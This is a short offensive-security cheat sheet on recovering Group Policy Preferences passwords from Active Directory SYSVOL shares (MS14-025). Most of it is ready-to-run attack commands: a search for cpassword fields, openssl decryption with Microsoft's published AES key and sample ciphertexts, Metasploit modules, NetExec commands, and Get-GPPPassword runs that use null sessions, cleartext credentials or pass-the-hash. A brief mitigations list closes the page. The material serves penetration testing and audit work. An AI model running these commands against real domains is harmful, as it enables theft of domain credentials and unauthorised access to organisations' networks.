# Password - Group Policy Preferences

Find passwords in SYSVOL (MS14-025). SYSVOL is the domain-wide share in Active Directory to which all authenticated users have read access. All domain Group Policies are stored here: `\\<DOMAIN>\SYSVOL\<DOMAIN>\Policies\`.

```powershell
findstr /S /I cpassword \\<FQDN>\sysvol\<FQDN>\policies\*.xml
```

Decrypt a Group Policy Password found in SYSVOL (by [0x00C651E0](https://twitter.com/0x00C651E0/status/956362334682849280)), using the 32-byte AES key provided by Microsoft in the [MSDN - 2.2.1.1.4 Password Encryption](https://msdn.microsoft.com/en-us/library/cc422924.aspx)

```bash
echo 'password_in_base64' | base64 -d | openssl enc -d -aes-256-cbc -K 4e9906e8fcb66cc9faf49310620ffee8f496e806cc057990209b09a433b66c1b -iv 0000000000000000

e.g: 
echo '5OPdEKwZSf7dYAvLOe6RzRDtcvT/wCP8g5RqmAgjSso=' | base64 -d | openssl enc -d -aes-256-cbc -K 4e9906e8fcb66cc9faf49310620ffee8f496e806cc057990209b09a433b66c1b -iv 0000000000000000

echo 'edBSHOwhZLTjt/QS9FeIcJ83mjWA98gw9guKOhJOdcqh+ZGMeXOsQbCpZ3xUjTLfCuNH8pG5aSVYdYw/NglVmQ' | base64 -d | openssl enc -d -aes-256-cbc -K 4e9906e8fcb66cc9faf49310620ffee8f496e806cc057990209b09a433b66c1b -iv 0000000000000000
```

## Automate the SYSVOL and passwords research

* `Metasploit` modules to enumerate shares and credentials

    ```c
    scanner/smb/smb_enumshares
    post/windows/gather/enum_shares
    post/windows/gather/credentials/gpp
    ```

* NetExec modules

    ```powershell
    nxc smb 10.10.10.10 -u Administrator -H 89[...]9d -M gpp_autologin
    nxc smb 10.10.10.10 -u Administrator -H 89[...]9d -M gpp_password
    ```

* [Get-GPPPassword](https://github.com/SecureAuthCorp/impacket/blob/master/examples/Get-GPPPassword.py)

  ```powershell
  # with a NULL session
  Get-GPPPassword.py -no-pass 'DOMAIN_CONTROLLER'

  # with cleartext credentials
  Get-GPPPassword.py 'DOMAIN'/'USER':'PASSWORD'@'DOMAIN_CONTROLLER'

  # pass-the-hash
  Get-GPPPassword.py -hashes 'LMhash':'NThash' 'DOMAIN'/'USER':'PASSWORD'@'DOMAIN_CONTROLLER'
  ```

## Mitigations

* Install [KB2962486](https://docs.microsoft.com/en-us/security-updates/SecurityBulletins/2014/ms14-025) on every computer used to manage GPOs which prevents new credentials from being placed in Group Policy Preferences.
* Delete existing GPP xml files in SYSVOL containing passwords.
* Don’t put passwords in files that are accessible by all authenticated users.

## References

* [Finding Passwords in SYSVOL & Exploiting Group Policy Preferences](https://adsecurity.org/?p=2288)
